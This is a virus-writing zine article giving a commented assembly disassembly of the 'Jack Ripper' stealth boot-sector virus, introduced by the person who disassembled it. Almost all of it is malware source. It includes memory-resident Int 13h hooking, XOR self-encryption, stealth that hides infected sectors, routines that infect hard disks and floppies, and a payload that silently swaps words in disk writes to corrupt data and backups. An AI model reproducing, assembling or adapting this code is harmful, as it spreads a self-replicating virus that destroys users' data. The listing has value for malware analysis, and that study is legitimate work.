SLAM4.029: Jack the Ripper disassembled by CyberYoda/SLAM
VIRUS NAME: Jack Ripper
ORIGIN: Bulgaria
VIRUS SIZE: 2 Sectors
VIRUS TYPE: Stealth MBR/BS Infector
PAYLOAD: 1 in 1024 disk writes, it swaps 2 words in the write buffer
The Ripper Virus is a very common boot sector virus. It was the first virus that I ever came across. I was fascinated how it could evade my ignorant teachers at my school's computer lab. (They couldn't figure out that their AV boot disks were infected.) After the problem persisted for months, they literally threw away all their disks, formatted the hard drives, installed Lame AV, installed security programs, and went to a diskless system. Ripper might be gone, but its memory in that lab still lingers.
Anyways, since it was the first virus I came across, and the virus that got me interested in the scene, I decided to do it justice and have it be the first virus that I disassembled. When I started disassembling I knew nothing about Boot Viruses (or disassembling as you will see), but after bugging VD for days, he wrote a Boot Virus tutorial, which should also be included in this SLAM edition. If you like comments, you will find tons of comments.
Although I don't like destructive payloads, Ripper's Payload has to be the most subtle destructive data diddling that I know of. Every 1 in 1024 writes, it swaps two words around in the write buffer, thus a gradual corruption of data and backups. Because of this destructive payload, I have not tried to compile it, or try to make a working byte for byte exact copy. As of this writing, there were no variants of the Ripper Virus, and I hope the VX community can give Ripper the respect it deserves and leave it that way.
Ripper employs lots of cool tricks, and I have learned a lot from disassembling it. I hope I did Jack Ripper justice with my disassembling of his virus.
seg000 segment byte public 'CODE'
assume cs:seg000
assume es:nothing, ss:nothing, ds:nothing
jmp short Start_Ripper ; Clear Interrups
;----------------------------------------------------------------------------
nop
;----------------------------------------------------------------------------
IBM db 49h ; I
db 42h ; B
db 4Dh ; M
db 20h ;
db 20h ;
db 35h ; 5
db 2Eh ; .
db 30h ; 0
BytesPerSector db 0
db 2 ;
db 2 ;
Reserved_Sector dw 1
Num_Of_FATs db 2
Max_Root_Dirs dw 70h
db 0A0h ; †
db 5 ;
db 0F9h ; ˘
Sectors_in_Fat dw 3
Sctrs_Per_Track dw 9
db 2 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 29h ; )
db 4 ;
db 16h ;
db 4Eh ; N
db 34h ; 4
FatName db 'NO NAME FAT12 ˙3'
;----------------------------------------------------------------------------
Start_Ripper:
cli ; Clear Interrups
xor ax, ax ; AX = 0
mov ss, ax ; SS = 0
mov sp, 7C00h ; SP = 7C00h
sti ; Restore Interrupts
mov si, 7C50h ; SI = 7C50h
push cs ; Save CS
call near ptr XOR_Encryption
Strt_Encryption:
mov si, sp ; SI = 7C00h
mov ax, ds:413h ; Get Amount of Free Memory in Paras
dec ax
dec ax ; Decrease New Amount of Free Memory
push ax ; Save New Amount of Free Memory
mov cl, 6
shl ax, cl ; Convert AX to Segment of Free Memory
mov es, ax ; ES = Segment of Free Memory
xor di, di ; DI = 0
mov cx, 100h ; CX = 100h
rep movsw ; Move First 512 bytes into Memory
mov ax, offset Memory_Continue; Continue with Resident Copy
push ds ; Push 0
push es ; Push Segment of Ripper in Memory
push ax ; Push Offset which we will return to
retf ; Goto Memory Copy
;----------------------------------------------------------------------------
Msg db 'FUCK ',27h,'EM UP !'
;----------------------------------------------------------------------------
Memory_Continue:
les bx, ds:4Ch ; BX = Offset of Int 13h, ES = Segment of Int 13h
push cs
pop ds ; DS = CS
mov Int_13h_Offset, bx ; Move Offset of Int 13h into our Handler
mov Int_13h_Segment, es ; Move Segment of Int 13h into our Handler
and Drive, 80h ; Get First Drive
mov dl, Drive ; DL = Drive
mov dh, Head ; DH = Head
xor bx, bx ; BX = 0
call Check ; Check to see if we are hooked
pop es ; ES = 0
jnb Exit_Hooking ; Jump if Carry Flag is Clear
mov cx, Loc_2_Sector ; CX = Location of Second Sector of Ripper
mov bx, 200h ; BX = 200h, Directly after First Half
push es ; Push 0
push cs
pop es ; ES = CS
call Prepare_Read ; Read 2nd half of Ripper into Memory
pop es ; ES = 0
push es
pop ds ; DS = 0
jb Exit_Hooking ; If there is a problem with the Read, Exit
pop word ptr ds:413h ; Set New Amount of Free Memory
mov word ptr ds:4Ch, offset Int_13h_Handler; Set New Offset to our Handler
mov ds:4Eh, cs ; Set new Segment to our handler
push ax ; Push something for the pop
Exit_Hooking:
pop ax ; Pop the extra Pushed number
mov cx, cs:Loc_Old_Boot ; CX = Location of Old Boot Sector
mov bx, sp ; BX = 7C00h
call Prepare_Read ; Read Original Boot Sectorto 0000:7C00h
push es ; Push 0
push bx ; Push 7C00h at End of XOR Loop Return to 0:7C00h
jmp short Skip_Signature; Encrypt Memory Resident Txt and Code
;----------------------------------------------------------------------------
Signature db '(C)1992 Jack Ripper'
;----------------------------------------------------------------------------
Skip_Signature:
mov si, offset Strt_Encryption; Encrypt Memory Resident Txt and Code
XOR_Encryption proc far
mov di, si ; DI = SI
push cs
pop ds ; DS = CS
push cs
pop es ; ES = CS
XOR_Loop:
lodsb ; Load a byte into AL
xor al, 10101010b ; XOR it
stosb ; Put it Back
push di ; Save DI
and di, 11111111b ; Get lower half of DI
cmp di, offset Skip_Signature; Are we to our stopping point?
pop di ; Get Old DI back
jnz XOR_Loop ; Loop if not done
xor ax, ax ; AX = 0
mov ds, ax ; DS = 0
mov es, ax ; ES = 0
retf ; Return
XOR_Encryption endp
Int_13h proc near
pushf
call dword ptr cs:Int_13h_Offset; Call Original Int 13h
retn ; Return
Int_13h endp
Prepare_Read proc near
mov di, 3 ; Try to Read 3 Times
Read_One_Sector:
xor ax, ax ; AX = 0
call Int_13h ; Reset Disk System
mov ax, 201h ; AX = 201h
call Int_13h ; Read one Sector into ES:BX buffer
jnb Successful_Read ; Jump if Read was Successful
dec di ; Decrease DI
jnz Read_One_Sector ; If DI > 0, Try to Read Again
Successful_Read:
retn ; Return
Prepare_Read endp
Check proc near
mov di, bx ; DI = BX
mov si, 0E2h ; SI = E2h
add di, si ; DI = BX + E2h
mov cx, 20h ; CX = 20h
Check_Loop:
cmpsw ; Cmp Two Words
jnz Not_Equal ; Jump if they aren't equal
loop Check_Loop ; Loop
clc ; Clear Carry Flag
retn ; Return
;----------------------------------------------------------------------------
Not_Equal:
stc ; Set Carry Flag
retn ; Return
Check endp
;----------------------------------------------------------------------------
Read:
push ax ; Save Registers
push bx
push cx
push dx
cmp dl, ds:177h ; Does Drive = Our Drive?
mov ds:177h, dl ; Put Drive into Drive
jnz Not_Same_Drive ; Don't read the disk a whole bunch.
xor ax, ax ; AX = 0
int 1Ah ; CLOCK - GET TIME OF DAY
; Return: CX:DX = clock count
; AL = 00h if clock was read or written (via AH=0,1) since the previous
; midnight
; Otherwise, AL > 0
mov ax, dx ; AX = Clock Count
sub ax, ds:175h ; Sub from Clock Count a previous Clock Count
mov ds:175h, dx ; Save New Clock Count
cmp ax, 36h ; Cmp Time to about 3 seconds.
jb Less_3_Secs ; If below, Don't Check Infection
Not_Same_Drive:
pop dx ; Get Head and Drive
push dx ; Save it again
push si ; Push Return Value
call Check_Infection ; Check For Infection
pop si ; Pop return Value
Less_3_Secs:
pop dx ; Restore Registers
pop cx
pop bx
pop ax
pop es
push es ; Save ES
push si ; Save SI
call Check_To_Stealth ; Stealth
Exit_Handler:
pop es ; Restore Registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf ; Restores Flags
jmp dword ptr cs:Int_13h_Offset; Continue with real Int 13h
;----------------------------------------------------------------------------
Loc_2_Sector dw 4
Loc_Old_Boot dw 5
Int_13h_Offset dw 53ECh
Int_13h_Segment dw 0F000h
Clock_Count dw 0AC8h
Drive db 0
Head db 1
Partion_Tables db 7Ch ; |
db 0A3h ; £
db 4Dh ; M
db 7Ch ; |
db 0F8h ; ¯
db 0C3h ; √
db 0F9h ; ˘
db 0C3h ; √
db 0B4h ; ¥
db 2 ;
db 8Bh ; ã
db 16h ;
db 4Dh ; M
db 7Ch ; |
db 0B1h ; ±
db 6 ;
db 0D2h ; “
db 0E6h ; Ê
db 0Ah ;
db 36h ; 6
db 4Fh ; O
db 7Ch ; |
db 8Bh ; ã
db 0CAh ;
db 86h ; Ü
db 0E9h ; È
db 8Ah ; ä
db 16h ;
db 24h ; $
db 7Ch ; |
db 8Ah ; ä
db 36h ; 6
db 25h ; %
db 7Ch ; |
db 0CDh ; Õ
db 13h ;
db 0C3h ; √
db 0Dh ;
db 0Ah ;
NonSystemDisk db 'Non-System disk or disk error',0Dh,0Ah
db 'Replace and press any key when ready',0Dh,0Ah,0
Ibmbio db 'IBMBIO COMIBMDOS COM',0
db 0 ;
End_1st_Sector dw 0AA55h
I13h_With_Check proc far
call Int_13h ; Real Int 13h
jb Write_Problem ; Problem?
retn ; Return
;----------------------------------------------------------------------------
Write_Problem:
pop bx
Read_Problem:
push bp ; Save BP
mov bp, sp ; BP = Stack
or word ptr [bp+12h], 1; Set Carry Flag
mov [bp+10h], ax ; Set Error AX
pop bp ; Get BP Back
Pop_w_Check:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jb Error_Skip_AX_0 ; Err: Don't erase our previous AX
mov ax, 0 ; No Error AX = 0
Error_Skip_AX_0:
retf 2
I13h_With_Check endp
;----------------------------------------------------------------------------
Stealth:
call near ptr I13h_With_Check
call Check ; Check for Infection
jb Pop_w_Check ; Exit if Not Infected
mov cx, es:[bx+16Fh] ; Find original BS's Track & Sector
mov dh, es:[bx+178h] ; Finde Original BS's Head
mov ax, 201h ; Read One Sector
call near ptr I13h_With_Check
jmp short Pop_w_Check ; Exit
SetUp_400_Read proc near
mov dh, 0 ; Head = 0
mov cx, 1 ; Track = 0 Sector = 1
mov bx, 400h ; BX = 400h
mov ax, 201h ; Read One Sector
push cs
pop es ; ES = CS
retn
SetUp_400_Read endp
Read_Into_400 proc near
call SetUp_400_Read
call Int_13h ; Read One Sector Into CS:400h
retn ; Return
Read_Into_400 endp
;----------------------------------------------------------------------------
Return_out_of_Stealth:
mov si, bx
mov di, ax
push es
pop ds ; DS = ES
assume ds:seg000
call SetUp_400_Read ; Read BS to CS:400h
call near ptr I13h_With_Check
push di ; Save Orginal AX
push si ; Save Original BX
mov bx, si ; Restore BX
inc si
inc si ; SI = Past Jump
call Save_Boot_Headr ; Move Header info
push ds
push cs
pop ds ; DS = CS
push cx
mov bx, 400h ; BX = 400h
call Check
pop cx ; Restore CX
pop es
assume es:nothing
pop bx ; Get Original BX back
pop ax ; Get Original AX back
jnb No_Stealth_Problem ; SI = 56Fh
jmp Exit_Handler ; Restore Registers
;----------------------------------------------------------------------------
No_Stealth_Problem:
mov si, 56Fh ; SI = 56Fh
mov cx, [si] ; Location Old Boot
mov dh, [si+9] ; Location Old Head
call near ptr I13h_With_Check; Stealth it
call SetUp_400_Read ; Read Real BS
xor bx, bx ; To CS:0h
call near ptr I13h_With_Check
jmp short Pop_w_Check
Check_To_Stealth proc near
cmp ch, 0 ; Compare Track to 0
jnz Continue ; Allow if not
cmp cl, 1 ; Cmp Sector to 1
jnz No_Stealth ; No Need for Stealth
cmp dh, 0 ; Compare Head to 0
jnz No_Stealth ; No Need for Stealth
pop di ; Retn to number in SI
retn ; Near Return
;----------------------------------------------------------------------------
Continue:
retn 2
;----------------------------------------------------------------------------
No_Stealth:
add sp, 4 ; Remove the bytes pushed by Stealth
cmp ah, 2 ; Is it a read?
jnz Not_Read ; Check for Read
mov di, ax ; Save AX in DI
call near ptr I13h_With_Check; Read
mov ax, di ; Restore AX
Check_Again:
mov di, bx ; Save BX in DI
mov si, 200h ; SI = 200h
Word_Check_Loop:
cmpsw
jnz Word_Not_Equal ; If they don't equal Jmp
cmp si, 400h ; Check 200 bytes
jnz Word_Check_Loop
jmp short Stealth_Disk ; DI = BX
;----------------------------------------------------------------------------
Word_Not_Equal:
add bx, 200h ; Increase One Sector
dec al ; One Less Sector
jnz Check_Again ; Save BX in DI
jmp short AL_Zero
;----------------------------------------------------------------------------
Stealth_Disk:
mov di, bx ; DI = BX
mov cx, 100h ; CX = 100h
push ax ; Save AX
xor ax, ax ; AX = 0
rep stosw ; Mov 1024 bytes/2 sectors
pop ax ; Restore AX
dec al ; Dec AL again
jz AL_Zero
mov cx, 100h ; CX = 100h
xor ax, ax ; AX = 0
rep stosw
AL_Zero:
; Check_To_Stealth+4Aj
jmp Pop_w_Check
Check_To_Stealth endp
Payload proc near
push ax ; Save Registers
push bx
push cx
push dx
xor ax, ax ; AX = 0
int 1Ah ; CLOCK - GET TIME OF DAY
; Return: CX:DX = clock count
; AL = 00h if clock was read or written (via AH=0,1) since the previous
; midnight
; Otherwise, AL > 0
test dx, 1111111111b ; Test with 3FFh, 1 in 1024 chance
jnz Exit_Payload ; Jump if not equal
or cl, dh ; Or CL and DH to get a random number
and cx, 111111100b ; Discard top 7 bits and 2 lower bits
add bx, cx ; Swap 2 words with a random location
push word ptr es:[bx] ; The infamous Ripper Word Swapping
push word ptr es:[bx+2] ; Push 2 words
pop word ptr es:[bx] ; And Pop them in Reverse order
pop word ptr es:[bx+2]
Exit_Payload:
pop dx ; Restore Registers
pop cx
pop bx
pop ax
retn ; Return
Payload endp
;----------------------------------------------------------------------------
Not_Read:
cmp al, 1 ; Is it just one Sector?
jnz Exit ; Exit If its Not just one sector
push es ; Save Registers
push bx
push cx
push dx
call Read_Into_400 ; Read BS right after Virus in Memory
pop dx ; Restore the Saved Registers
pop cx
pop bx
pop es
jnb No_Read_Prob ; No Problem with Read
jmp Read_Problem ; Problem with Read
;----------------------------------------------------------------------------
No_Read_Prob:
mov si, 56Dh ; SI = 56h
cmp dh, [si+0Bh] ; Cmp DH with Head on the BS
jnz Exit ; Exit if they don't equal.
cmp cx, [si] ; Cmp CX with Location of the 2nd sector.
jz Write_BS_MBR ; If equal write MBR/BS
cmp cx, [si+2] ; Cmp CX with location of the Old sector.
jz Write_BS_MBR ; If equal write MBR/BS
Exit:
jmp Exit_Handler ; Restore Registers
;----------------------------------------------------------------------------
Write_BS_MBR:
call SetUp_400_Read
mov ax, 301h ; Write 1 Sector Instead of Read
call near ptr I13h_With_Check; Write One Sector
jmp Pop_w_Check
Check_Infection proc near
call Read_Into_400 ; Read First Sector into CS:400
jnb No_Read_Error ; Jump if No Error
retn
;----------------------------------------------------------------------------
No_Read_Error:
mov si, 402h ; SI = 402h
call Save_Boot_Headr
call Check ; Check Infection
jb Not_Infected ; Jump if it isn't Infected
Infection_Done:
retn ; Near Return
;----------------------------------------------------------------------------
Not_Infected:
test Drive, 80h ; See if the Drive is a Diskette or HD
jz Diskette ; Jump to Diskette if it is a Diskette
mov cx, 8 ; Second Sector Resides at Sector 8
Write_2nd_Sectr:
mov bx, 200h ; Read from the Second 512 bytes (200h)
mov ax, 302h ; Write 2 Sectors
call Int_13h ; Write 2nd Sector and Orig Boot Sector
jb Infection_Done ; Near Return
mov Loc_2_Sector, cx ; Write where to find the Second Sector
inc cx ; Old Boot is found right after it.
mov Loc_Old_Boot, cx ; Where to find the Old boot code
mov Head, dh ; Save Head
call SetUp_400_Read
xor bx, bx ; Start at beginning of Code
mov ax, 301h ; Write 1 Sector
call Int_13h ; Write the Boot Sector
retn ; Near Return
;----------------------------------------------------------------------------
Diskette:
cmp word ptr BytesPerSector, 200h; Make sure it is a floppy.
jnz Infection_Done ; Quit if not Equal
mov cx, Reserved_Sector ; Location of Reserved Sectors before FAT
mov al, Num_Of_FATs ; Number Of FATs
cbw ; Convert byte to word, xor ah, ah?
mul Sectors_in_Fat ; AX = # of FATS * # of Sectors in FAT
add cx, ax ; CX = Reserved Sectors + Sectors of FATS
mov ax, 20h ; ' ' ; AX = 20h
mul Max_Root_Dirs ; AX = 20h * Max # of Root Directories
mov bx, 200h ; BX = 200h
div bx ; AX = 20h * # if Root Dirs / 200h
add cx, ax ; CX = Reserved + Fat + Root Dir
dec cx ; Decrease CX by 1
mov dh, 1 ; DH = 1
sub cx, Sctrs_Per_Track ; CX = Reserved + FAT + Root Dir - 1 - Track
mov dl, Drive ; DL = Drive
jmp short Write_2nd_Sectr; Go Write the Second Sector
Check_Infection endp
Save_Boot_Headr proc near
mov di, 2 ; DI = 2
Move_Header_Loop:
movsb ; Move a byte from DS:DI to ES:DI
cmp di, 40h
jnz Move_Header_Loop ; Jump if we are not done
mov si, bx ; Si = 400h
mov di, offset Partion_Tables
add si, di ; DI = 400h + Partition Table
Move_Something:
movsb
cmp di, 200h
jnz Move_Something
retn
Save_Boot_Headr endp
;----------------------------------------------------------------------------
Int_13h_Handler:
clc ; Clear Carry Flag
pushf ; Save Flags
push ax ; Save Registers
push bx
push cx
push dx
push si
push di
push ds
push es
push cs
pop ds ; DS = CS
cld ; Clear Direction Flag
cmp ah, 2 ; Read?
jnz Check_For_Write ; If Not a Read Continue our checks
mov si, offset Stealth ; Return to
jmp Read ; Jmp to Read
;----------------------------------------------------------------------------
Check_For_Write:
cmp ah, 3 ; Write?
jz Write ; Jump if it is
Allow_Write:
jmp Exit_Handler ; Restore Registers
;----------------------------------------------------------------------------
Write:
call Payload ; Payload time
cmp cx, 1 ; Does Track = 0 and Sector = 1?
jnz Not_Boot_Sector ; If not the bootsector, Jump
cmp al, 1 ; Are they only writing one sector?
jnz Allow_Write ; If not, Jump
Not_Boot_Sector:
mov si, offset Return_out_of_Stealth; Return to
jmp Read ; Save Registers
;----------------------------------------------------------------------------
db 0D2h ; “
seg000 ends
end